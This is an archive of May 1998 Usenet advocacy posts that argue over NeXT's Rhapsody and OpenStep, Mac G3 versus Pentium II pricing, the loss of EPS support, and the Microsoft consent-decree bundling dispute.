> keyboard,
> 1 year parts & labor warranty.
>
>All this for only $1285!!! I can probably sell my dad the 17 inch monitor
>for $300, so this would be only $1000!!! compared to $1500 for the mac g3.
>And not only does the mac g3 not in the tower case, but it doesnt have the
4
>megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 up to
>this, without having to spend $100 per item to have it put in, you have to
>use apples bto store. Adding the ram to 64 megs, adding vram, and adding a
>modem raises the price to over $2000!!!!! Using a minitower its over
$2200!!
>
>--
>Running on Openstep 4.2, the best os in the world, and about to get better!
>MACHEAD SEEKS qa work!!, email me for resume
>NeXTMail and MIME OK!
>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: Tue, 26 May 1998 19:54:21 -0700
Message-ID: <see-below-2605981954210001@209.24.240.115>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk>
In article <6ke87q$d5n$12@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <see-below-2305981551320001@209.24.241.7> Matthew Vaughan wrote:
>
> > I remember a year ago all the Next developers were complaining about how
> > sucky the Mac interface was compared to OpenStep, but they've been pretty
> > silent since. I was wondering if that was the NDA at work, or whether some
> > have actually changed their minds. I haven't used OpenStep or Rhapsody so
> > I can't compare, but I'm curious what you all think of the Mac interface
> > (at least as implemented in DR1/DR2) now?
> >
> For me a combination of things...
>
> Whilst the new UI looks like a Mac it still feels more like NEXTSTEP than
> MacOS, so in use it's not as "bad" as one might think.
>
> That said, a couple of peeves:
>
> Biggest loss: the shelf.
>
> The desktop simply doesn't come close to providing the "bookmark"
> functionality the shelf gave. I've sent in a couple of suggestions to
> rhapsody-dev-feedback about this -- the main thought being that is they don't
> want to bring back the shelf per se they could enhance the functionality of
> one of the existing buttons, say the home icon, to turn it into a popup list
> to which you could add new files/folders just be dragging. You could then
> "go to" that file/folder by selecting it in the popup. (An alternative would
> be to use the "Go to" panel.)
For one thing, they could allow dragging onto the Apple menu, the way
Windows lets you drag onto the Start menu (or does Rhapsody already allow
this?). I've never really used a good shelf-like feature, but can see
where this would be really nice. I do hope they include something like
this, even if it's turned off by default. There is the Launcher (and has
been for years), but I don't know if it compares even remotely to the
shelf. I've never used it much myself.
> Desktop
> I don't like the way the Workspace becomes the active app if you click on the
> desktop.
Hmm. Since the desktop and the items that are on it belong to the
Finder/Workspace, that makes sense to me, and I'm used to using it as a
shortcut to the Finder. But under MacOS there's an option (in the General
Control Panel) to not show the desktop in the background (you don't see
the icons, and clicking there doesn't change the app). I don't know if
this feature is in Rhapsody yet.
> It's a shame they don't trust Mac-users enough to allow them to destroy files
> instantly with Command-r.
cmd-delete moves an item to the Trash in OS 8 (in the Finder). Is this the
kind of thing you're talking about?
> But then there area also some great new features:
>
> Having the document icon in every window is excellent.
> Having symlinks show up in italics in the file viewer is outstanding...
> having the Command-r shortcut to take you to the original is useful too.
>
> The Processes list on the right hand menu might even end up being better than
> app tiles: having the Hide Others entry here where everyone can see it is
> probably better than having a rather more obscure option (i.e.
> command-double-click on the app tile).
Option double-click (or opeion-click on a window) does this on the Mac now
(in addition to that "Hide..." menu item). Again, I don't know if this is
implemented in Rhapsody yet?
> And with the Apple menu on the left
> being customisable (thanks to Ken Case for uncovering the defaults settings),
> and the login items in Preferences, it might even end up being better than
> the dock.
Yes. Can you drag things directly onto the Apple menu to place them there?
Currently you need to open the Apple Menu Items folder (in the System
Folder) to modify this menu under MacOS.
> Being able to resize a window from any corner is useful.
>
> So overall some wins, some losses. I need to use DR2 longer in anger to get
> a real feel for how the two compare, but for now I'm fairly happy.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 26 May 1998 17:00:39 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kesfn$c5r$6@ns3.vrx.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net>
<35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net>
<joe.ragosta-2405980800010001@elk60.dol.net> <35699E1E.C8C20389@localhost.localdomain>
<6kd7o6$13a62@odie.mcleod.net> <3569CE69.5174@earthlink.net>
<6kdqvv$rf1$1@news12.ispnews.com> <6kf591$pp4$1@nntp2.ba.best.com>
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Cc: mr_boxster@nospam_yahoo.com
In <6kf591$pp4$1@nntp2.ba.best.com> MR_boxster claimed:
> More important... Will it have support for my new whizbang peripherals. Who
> cares if its better if it doesn't support my hardware.. E.G. look at Linux,
> its usually 1 generation behind in video card drivers.
And doing very well, thank you. What is your point here?
Maury
From: Steven W. Schuldt <sschuldt@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: upgrade path trauma
Date: 27 May 1998 02:39:46 GMT
Organization: MediaOne -=- Northeast Region
Message-ID: <6kfudi$sgo$1@ndnws01.ne.highway1.com>
References: <6kfa93$h2s$1@news1.ucsd.edu>
In article <6kfa93$h2s$1@news1.ucsd.edu> gar@lisi.com (Garrett Lisi) writes:
>
> So I have two questions for the NeXT community:
> 1) How and why, as a user and hobbyist-developer, should I stay with Apple's
> moving target of an OS, and how do I keep my 21"?
>
Hmm. Why stick around, eh? Well... no... how about... mmm no good. Seems
like the really smart folks left years ago...
Damn! There _is_ no good reason left to stick around. Better try this link:
http://www.ozemail.com.au/~rroutley/
> and, alternatively
> 2) Does any former NeXTie have a Linux-PC and nextstation living happily as
> blood brothers with an ethernet link? And am I right that Linux is
the
> future
> and I'm best to take this path?
>
>
> Change is good,
> -Garrett
>
Is Linux the future? Garret you have got me thinking... Linux is the future
the same way Pig Farming is the future. Will it be there? Yes. Will
everyone do it? No. Is it an option? Always. Would you rather have had a
viable alternative? Yes...
Steve
Boston '98 +On +On
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 26 May 1998 19:04:07 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mm4h7.qoa.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <slrn6mjv7d.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6kdb5h$uig$1@nnrp1.dejanews.com>
On Tue, 26 May 1998 02:58:57 GMT, dpetticord@hotmail.com wrote:
:> It is as transparent a ruse as in the recent case concerning violations
:> of the previous consent decree. I.e. if Microsoft is able to circumvent
:> any "anti-bundling" provision by the merest dose of (perhaps needless)
:> technical ''integration'', it renders the regulation to be meaningless.
:>
:> This is not the way law is supposed to work.
:>
:
:<sigh, getting out the soap box>
:
:The 1994 evidence shows Microsoft wanted to protect its right to bundle.
:The Consent Agreement was about LICENSING only.
I think it's preposterous to imagine that the original agreement had
nothing to do with bundling when forbidding certain anti-competitive
practices w.r.t. bundling was exactly the intent of the government.
:Special Master Lessig was obviously not interested in exploring the historical
:situation surrounding the agreement's creation. It was obviously his
:intent to study the present day details and extrapolate future ramifications.
:That is his expertice. That exportice may be needed in an anti-trust case,
:but it was inappropriate for a simple contract dispute (IMO).
It wasn't a simple contract dispute, because the contract wasn't really
entered in willingly by Microsoft but was a settlement in response to a
potential indictment. The state is more lenient with corporations than
people who commit crimes.
The real reality is that calling it a "simple contract dispute" doesn't
make it so.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: For Apple to Survive and Thrive
Date: Tue, 26 May 1998 05:00:37 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <EtJsL2.EI1@micmac.com>
References: <01bd86d8$819a8f90$04387880@test1>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
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Cc: todd@NetSQ.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<01bd86d8$819a8f90$04387880@test1>) by "Todd Heberlein":
> (4) GAMES, GAMES, GAMES. Most parents buy computers in large part
> for their children. For this critical market segment, game
> availability is critical. I believe Jobs recognizes this since at
> WWDC he said he really wanted to bundle games with the iMac. Apple
> must attract game developers.
>
>
Not only that but the **BEST** games!!! I mean games you won't find anywhere
else!
mc
Date: Tue, 26 May 1998 13:47:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Message-ID: <joe.ragosta-2605981347470001@wil109.dol.net>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147> <joe.ragosta-2605981037000001@wil134.dol.net> <6ke3uv$n7a$2@ns3.vrx.net> <joe.ragosta-2605981142210001@wil114.dol.net> <MPG.fd4ad1e7535078a989745@news.itg.ti.com>
In article <MPG.fd4ad1e7535078a989745@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > In article <6ke3uv$n7a$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
> > Markowitz) wrote:
> >
> > > In <joe.ragosta-2605981037000001@wil134.dol.net> Joe Ragosta claimed:
> > > > Except that that changes the meaning of the question entirely. It
started
> > > > out as a _quality_ question and you just changed it into a _quantity_
> > > > question.
> > >
> > > I don't know Joe, I think you've taken this way too far. For many
people
> > > quantity is indeed a quality of it's own.
> >
> > But go back and review the thread. Someone said that Rhapsody was better
> > than NT. Instead of refuting that statement, Lawson said that the real
> > question was how many people were using NT vs. Rhapsody.
> >
> > There's no problem discussing quantity. Market share is certainly an issue
> > to consider under the appropriate circumstances.
> >
> > It is _not_, however an appropriate response to a discussion on which OS
> > is better.
>
> So are you admitting then that the quantity of an OS might have some
> relevance into which OS is the better CHOICE to pick? I think that's
Only in very rare occasions.
> what most people are arguing anyway. Sure, some people think that the
> quality of an OS can be determined by how many are sold (which is
> clearly wrong). However, my point has been that since more people use a
> certain OS, that makes it more desirable to many. In fact, the quantity
> can make up for any quality differences (for me, the MacOS is inferior
> anyway, so that's not an issue here).
Exactly why does the number of licenses sold make it better?
You could argue that it _indirectly_ might lead to more software, but it
would make more sense to talk directly about software availability.
You could argue that it _indrectly_ might make it easier to get support,
but it would be better to discuss the need for support as a whole.
You could argue that it might make it easier to pirate software. And I'd
agree. But that's not much of a reason.
Quantity, per se, is meaningless unless you're a lemming. If you want to
argue that the quantity leads to better _xyz_, then let's discuss _xyz_,
not quantity.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Tue, 26 May 1998 17:56:20 -0400
Organization: Cabletron Systems Inc.
Message-ID: <356B3A84.33590565@ctron.com>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147> <joe.ragosta-2605981037000001@wil134.dol.net> <6ke3uv$n7a$2@ns3.vrx.net> <joe.ragosta-2605981142210001@wil114.dol.net> <MPG.fd4ad1e7535078a989745@news.itg.ti.com> <joe.ragosta-2605981347470001@wil109.dol.net>
Mime-Version: 1.0
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Joe Ragosta wrote:
>
>
> Exactly why does the number of licenses sold make it better?
>
> You could argue that it _indirectly_ might lead to more software, but it
> would make more sense to talk directly about software availability.
? Not quite sure what you mean here.
>
> You could argue that it _indrectly_ might make it easier to get support,
> but it would be better to discuss the need for support as a whole.
I think both are important. So long as the availability of support is
sufficient for the both, then it doesn't matter. The fact that MacOS8
require less support then Win95, helps, but there are times, at least
for home users, when adequate support is unavailable (at least free
support from like users).
>
> You could argue that it might make it easier to pirate software. And I'd
> agree. But that's not much of a reason.
>
> Quantity, per se, is meaningless unless you're a lemming. If you want to
> argue that the quantity leads to better _xyz_, then let's discuss _xyz_,
> not quantity.
C'mon Joe, lemmings (the furry little creatures) can't use computers %^)
Seriously, no quantity!=quality. But quantity does offer 'qualities'
which are desirable. I suspect that this debate gets blown up when
people mix the concept of objective quality (that which you can test) vs
the 'qualities' that a computer or market may posses.
-AJ LaSalle
-_-_
Winston Churchill's six words on how to succeed - "Never, never, never,
never, give up."
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 26 May 1998 06:31:12 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356AA800.B50C0FB1@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us> <ericb-1705981606110001@132.236.171.104> <joe.ragosta-1805980753270001@wil100.dol.net> <ericb-1805981402150001@132.236.171.104> <see-below-1805981822160001@209.24.240.36> <joe.ragosta-1905980801140001@wil104.dol.net> <slrn6mk040.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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To: mbkennel@yahoo.com
Matt Kennel wrote:
> On Tue, 19 May 1998 08:01:13 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> :I'd encourage everyone to write to Apple to let them know that they should
> :NOT discontinue Rhapsody/Intel.
>
> Read carefully. Rhapsody/Intel is going to stay.
Please provide proof for this.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 26 May 1998 18:05:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kf092$c5r$12@ns3.vrx.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kerm0$c5r$3@ns3.vrx.net>
<6kff8o$r8n$1@newsfep2.sprintmail.com>
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Cc: macghod@concentric.net
In <6kff8o$r8n$1@newsfep2.sprintmail.com> macghod@concentric.net claimed:
> Openstep or rhapsody
You can't be talking about OpenStep, because that doesn't run on PPC. The
lastest Rhapsody is only available on PPC.
Maury
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Tue, 26 May 1998 19:18:55 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2605981918550001@132.236.171.104>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
In article <6kf6jk$mcf$1@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
> I am looking to buy a computer. It MUST run the best operating system in the
> world.
> So that narrows things down to a pentium or a g3 mac (or 604e mac). A 233 g3
> is definitely fast enough for me, as is a p2 300. But a g3 233 costs $1500
> mail order, and this does not even have the tower case that the p2 has.
> Plus, look what one can get for much less: A LOT MORE!!
>
> Pentium II 300Mhz System€
[snip]
> All this for only $1285!!!
And what reputable vendor would this be from? If you are willing to risk
a local supplier instead of a well-known OEM, then you can certainly get
cheaper systems than you can from Apple (or HP or Compaq or IBM for that
matter). I don't think anyone here has ever seriously denied this.
> I can probably sell my dad the 17 inch monitor
> for $300, so this would be only $1000!!!
I wonder about the quality of that monitor... Apple's monitors are
overpriced IMO, but you can certainly get a good Sony or NEC at a
reasonable price.
> compared to $1500 for the mac g3.
> And not only does the mac g3 not in the tower case, but it doesnt have the 4
> megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 up to
> this, without having to spend $100 per item to have it put in, you have to
> use apples bto store. Adding the ram to 64 megs, adding vram, and adding a
> modem raises the price to over $2000!!!!! Using a minitower its over $2200!!
First, the G3 "minitower" case gains you nothing significant. It has the
same number of drive bays (though they are larger bays--5.25" vs. 3.5"),
PCI slots, and RAM slots. If these things are important to you, you
should consider a Umax machine or an 8600--if the latter are still
available anywhere.
Second, you don't need the 300 MHz G3 to match the 300 MHz PII's
performance. I think the consensus around here--probably even from people
like Earl Malmrose--is that the G3/266 can match the performance of the
PII/300.
Third, are you making this example up or are you really about to buy a
computer? I am sure you are capable of grabbing a couple components
yourself. You can get VRAM, SDRAM, and a modem for less than Apple is
charging you.
An additional complication which you did not explicity say you have
already dealt with is whether OpenStep will run on the hardware you have
put together. There could very well be driver support issues.
Yet another complication is whether OpenStep (i.e. Rhapsody for Intel) has
a future beyond this fall. What will you do if you buy the PII and then
Apple cans its x86 support?
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: portnoy@ai.mit.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 26 May 1998 11:41:15 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <ulnrpdopw.fsf@ai.mit.edu>
References: <6kb49o$ele$2@geraldo.cc.utexas.edu> <1998052518581700.OAA09788@ladder01.news.aol.com> <6kc1mp$5tr$1@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) writes:
> Let me see if I have this right:
>
> a) moving to the Mk7.3 (3.0++) kernel
> - with RT support
> - with transparent multi-CPU clustering
> - with proven support for n-way CPU's to no real limit
> - with CORDS
> b) move to 4.4BSD
> c) POSIX compliance to a "very high" degree (ie, total)
> d) new NS objects that have been sadly missing for years
> e) much faster graphics engine
> f) MacOS application support
> g) any number of fixes and other improvements
>
> vs.
>
> 1) no NXHosting.
>
> You want me to consider this to be a "significantly downgrade [of] my
> software"? You are joking, right?
For me, I'd have to say that
2) no native EPS previewing and handling
will be a significant downgrade. might speak as a user of a
single-CPU box, I may never notice many of the items you mention above
-- maybe only "f", and I already am very much in the NeXT world, so
that may not be a big deal for me. (Naturally, as a developer, I
think most of these are fantastic, but I'm trying to look at this as a
user).
I do a great deal of work in graphic creation, often working with logo
design. A highly substantial part of this work is in creating and
manipulating EPS files. I've got tons of them lying around, and I use
them because they're resolution- and platform-independent, and I can
easily move them into other files and if necessary edit them by hand
to get special effects. I can view the EPS contents from the
Workspace without having to run through Ghostview. I can put them
into Word (even though Word won't show the image until print time). I
can very easily import them into LaTeX documents. With few
exceptions, every application on the NeXT had the ability to write out
EPS files, so I could choose the right app for the right job, and be
assured that what I needed would appear.
If EPS goes away, what am I left with? TIFF or PNG aren't resolution
independent, so I'd end up doing work to get a high enough resolution
so printing looks good, and thus create much larger files. PDF as is
can't be embedded into other documents, and an EPDF solution won't
work with LaTeX or Word or anything else for quite some time to come.
Plus, editing by hand becomes impossible for all of these things.
Yes, Maury, I do regard the loss of EPS handling to be a major loss.
In all likelihood, I'll be getting Rhapsody 1.x, and then sitting
there -- MacOS X will be too much of a downgrade in functionality for
the work I do.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy,comp.sys.laptops,comp.sys.ibm.pc.hardware.video,comp.sys.ibm.pc.hardware.storage,comp.sys.ibm.pc.hardware.chips
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From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 04:34:10 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35739608.4983934@news.supernews.com>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <slrn6mjv7d.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
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NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel), on 25 May 1998 23:21:18
GMT,
>On Sun, 24 May 1998 16:49:07 GMT, dpetticord@hotmail.com wrote:
>:I am encouraged that you were open-minded enough to concede the possible
>:usefullness of the Windows98 integration.
>
>The Windows98 ''integration'' is primarily useful when HTML rendering and
>HTTP processing library calls are available in the operating system.
>
>This part of "Browser Integration" is the most defensible by Microsoft, as
>it is clearly adding value without obvious anti-competitive consequence.
>{One must assume of course that the API is complete, functional, and allows
> anybody to build browsers using them.}
>
>It's everything else surrounding the IE and all the OEM licensing issues
>which are very suspicious.
>
[Some of the wisest words I've read on Usenet on this topic, snipped
only by convention; I might even repost them later, they're so good. ;)]
Matt; please contact me by email.
World; listen to his words; they are wise (despite the mangled yahoo
address.) ;-)
But, Matt; what are the hooks which allow us to know that these are
"ruses", "junk", and meaningless integration? Do you have any
expertise? What can the prosecution prove?
(Just suddenly switching to Devil's Advocate, in the face of possible
support, as is my want...)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 04:48:55 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <357497fe.5486454@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <slrn6mjv7d.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6kdb5h$uig$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Tue, 26 May 1998 02:58:57 GMT,
[...]
>The 1994 evidence shows Microsoft wanted to protect its right to bundle.
>The Consent Agreement was about LICENSING only. This was the agreement
>Microsoft and the DOJ signed. The DOJ was wrong to try and push a Contempt
>Case over this issue. If the DOJ wanted to prove Microsoft was in violation
>of anti-trust laws, it should have promptly and directly charged them,
>instead of playing some political game over a weak case. THAT is the way
>the law is supposed to work.
You know, I suddenly and finally realize what you have been saying for
the last six months, David. ;-)
You were right, in a way; if the consent decree was only about licensing
(which it would have been, as the DoJ would have only had the IBM
investigation, which lasted from '69 to '81, I believe, to compare, and
that was _just_ about licensing, really, not technology); as long as
Microsoft didn't try to _continue_ claiming that IE was a separate
product (let's just ignore, for the moment the fact that they did), they
wouldn't have been in technical violation, despite the fact that
IE+Win95b was a bundle, and not a "developed integrated package".
>
>[...]Microsoft had historical evidence on
>its side that in 1994 the DOJ and Microsoft agreed to exempt bundling.
But the contract didn't include this exemption? You're losing me again,
David.
>(MSDOS was bundled with Windows, "O'Hare" was bundled with "Chicago",
>other 3rd Party software was bundled with Windows).
Oh. Well, "O'hare" and "Chicago" were developed integrated packages
(thought they were released as separate products; don't you hate when
one of your ideals proves his humanity by making a mistake). And if I
am not mistaken, it was the explicate bundling of Windows with DOS
(let's say "leveraging"; we all know what it means) that prompted the
court action which led to the consent decrees (let's just say "plea
bargain"; we all know how corporations work). The 3rd-party
"applications" (a few demos and ads, IIRC) were hardly bundled; simply
supplied on the same media.
> The DOJ agreed with
>this in 1994/1995. Even if the Consent Agreement is essentially worthless
>today, Contract Law supports what was agreed to WHEN IT WAS SIGNED.
>
>Special Master Lessig was obviously not interested in exploring the historical
>situation surrounding the agreement's creation. It was obviously his
>intent to study the present day details and extrapolate future ramifications.
>That is his expertice. That exportice may be needed in an anti-trust case,
>but it was inappropriate for a simple contract dispute (IMO).
How do you know of his particular expertise, and why do you describe it
like this?
I think maybe I'd like to submit an application to the federal court,
but I guess my posting here would be held against me. ;-)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 27 May 1998 06:12:17 GMT
Organization: Digital Fix Development
Message-ID: <6kgas1$aa1$1@news.digifix.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kg815$k24$1@nntp2.ba.best.com>
In-Reply-To: <6kg815$k24$1@nntp2.ba.best.com>
On 05/26/98, MR_boxster wrote:
>In article <356B9C6F.434C2D58@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>>Scott Anguish wrote:
>>>
>>> <snip>
>>> >Care to elaborate? Does Rhapsody for Intel have video capture
>>> drivers? How
>>> >about video drivers for the Matrox Millenium II, AWE 64 Gold
>>> soundcard?
>>> >
>>>
>>> Well, since Rhapsody uses the same drivers as OpenStep,
and
>>> since there is already a Matrox Millenium II driver for it, yes,
yes,
>>> it will.
>>
>
>How long did it take.
Do you mean how long was it before Apple supported it? It
wasn't very long, probably less than a month.. I know that the driver
was available long before I bought the card.
>Are you going to tell me that OpenStep has drivers for
>The RainbowRunner (video capture add-on for the Millenium II) as
well?
>
Nope.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 27 May 1998 06:10:51 GMT
Organization: Digital Fix Development
Message-ID: <6kgapb$a5t$1@news.digifix.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net>
In-Reply-To: <356B9C6F.434C2D58@nstar.net>
On 05/26/98, "Michael J. Peck" wrote:
>Scott Anguish wrote:
>>
>> <snip>
>> >Care to elaborate? Does Rhapsody for Intel have video capture
>> drivers? How
>> >about video drivers for the Matrox Millenium II, AWE 64 Gold
>> soundcard?
>> >
>>
>> Well, since Rhapsody uses the same drivers as OpenStep, and
>> since there is already a Matrox Millenium II driver for it, yes,
yes,
>> it will.
>
>Cool! Is it a fully-accelerated driver, or does it just use the
>framebuffer?
I don't know...
>And does it support the high-resolution video modes and
>refresh rates of that card?
>
Yes, it appears to.. I'm running at 1280x1024 at 24-bit color,
something like 74Mhz.
The actual full range of settings is listed in the driver
technote.. its available at http://enterprise.apple.com/NeXTanswers
>> Since the AWE 64 is a sound-blaster... Yes, yes it does.
>
>Right, but will it support the broad capabilities of that card? The
AWE
>64 has a rather extensive number of features; are they supported
under
>OpenStep?
>
I don't know... Again the tech note would give you the
low-down.
Mind you, with DriverKit now documented, you could always get
one written.
>The best (and sometimes, only) way to get the most out of hardware
>drivers is to get them from the manufacturers. I hope Apple is
working
>to get this support.
>
If the Intel version sticks around, I'd hope we'd see that....
--
Scott Anguish <sanguish@digifix.com>
